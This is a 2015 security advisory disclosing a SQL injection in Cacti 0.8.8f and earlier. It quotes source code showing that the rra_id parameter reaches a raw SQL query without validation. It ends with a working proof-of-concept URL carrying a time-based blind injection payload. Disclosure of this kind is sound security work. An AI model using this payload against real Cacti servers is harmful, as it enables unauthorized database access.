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Cacti 0.8.8f SQL Injection

Posted on 10 December 2015

Application: Cacti
Vendor URL: http://www.cacti.net
Bugs: SQL injection
Author:changzhao.mao(DBAPPSecurity Ltd)
Version affected: 0.8.8f and prior

================================
Introduction
================================

 Cacti is a complete frontend to RRDTool, it stores all of the necessary information to create graphs and populate them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, Data Sources, and Round Robin Archives in a database, cacti handles the data gathering. There is also SNMP support for those used to creating traffic graphs with MRTG. SQL injection vulnerabilities has been discovered.The vulnerability allows any users to execute own sql commands to compromise the web-applicaation or database management system.The vulnerabilities are located in the rra_id value of the graph.php file.This php file of older version cacti may be accessible anonymously according to the cases I found from the internet. Latest version cacti may require guest user privilege.

[Vulnerability info]

/cacti-0.8.8f/graph.php
line 25 include "./include/top_graph_header.php" before validating rra_id
/* set default action */
if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = "view"; }
if (!isset($_REQUEST["view_type"])) { $_REQUEST["view_type"] = ""; }

$guest_account = true;
include("./include/auth.php");
include_once("./lib/rrd.php");

api_plugin_hook_function('graph');

include_once("./lib/html_tree.php");
include_once("./include/top_graph_header.php");

/* ================= input validation ================= */
input_validate_input_regex(get_request_var("rra_id"), "^([0-9]+|all)$");
input_validate_input_number(get_request_var("local_graph_id"));
input_validate_input_number(get_request_var("graph_end"));
input_validate_input_number(get_request_var("graph_start"));
input_validate_input_regex(get_request_var_request("view_type"), "^([a-zA-Z0-9]+)$");
/* ==================================================== */

/cacti-0.8.8f/include/top_graph_header.php
line 30 rra_id is not validated

/* ================= input validation ================= */
input_validate_input_number(get_request_var_request("local_graph_id"));
input_validate_input_number(get_request_var_request("graph_start"));
input_validate_input_number(get_request_var_request("graph_end"));
/* ==================================================== */

line 158
 <?php if ((basename($_SERVER["PHP_SELF"]) == "graph.php") && ($_REQUEST["action"] == "properties")) {?>
 <tr>
 <td valign="top" class='cactiTreeNavigationArea' colspan="3">
 <?php
 $graph_data_array["print_source"] = true;

 /* override: graph start time (unix time) */
 if (!empty($_GET["graph_start"])) {
 $graph_data_array["graph_start"] = get_request_var_request("graph_start");
 }

 /* override: graph end time (unix time) */
 if (!empty($_GET["graph_end"])) {
 $graph_data_array["graph_end"] = get_request_var_request("graph_end");
 }

 print trim(@rrdtool_function_graph(get_request_var_request("local_graph_id"), get_request_var_request("rra_id"), $graph_data_array));
 ?>

cacti-0.8.8flib
rd.php function rrdtool_function_graph line 631
 $rra["timespan"] = 86400;
 }else{
 /* get a list of RRAs related to this graph */
 $rras = get_associated_rras($local_graph_id);

 if (sizeof($rras) > 0) {
 foreach ($rras as $unchosen_rra) {
 /* the timespan specified in the RRA "timespan" field may not be accurate */
 $real_timespan = ($ds_step * $unchosen_rra["steps"] * $unchosen_rra["rows"]);

 /* make sure the current start/end times fit within each RRA's timespan */
 if ( (($graph_data_array["graph_end"] - $graph_data_array["graph_start"]) <= $real_timespan) && ((time() - $graph_data_array["graph_start"]) <= $real_timespan) ) {
 /* is this RRA better than the already chosen one? */
 if ((isset($rra)) && ($unchosen_rra["steps"] < $rra["steps"])) {
 $rra = $unchosen_rra;
 }else if (!isset($rra)) {
 $rra = $unchosen_rra;
 }
 }
 }
 }

 if (!isset($rra)) {
 $rra["rows"] = 600;
 $rra["steps"] = 1;
 }
 }
 }else{
 // sql injection here
 $rra = db_fetch_row("select timespan,rows,steps from rra where id=$rra_id");
 }

[Exploit]
 poc: http://192.168.x.x/cacti/graph.php?action=properties&local_graph_id=1&rra_id=1%20and%20benchmark(20000000%2csha1(1))--%20&view_type=&graph_start=1448274676&graph_end=1448360776

 

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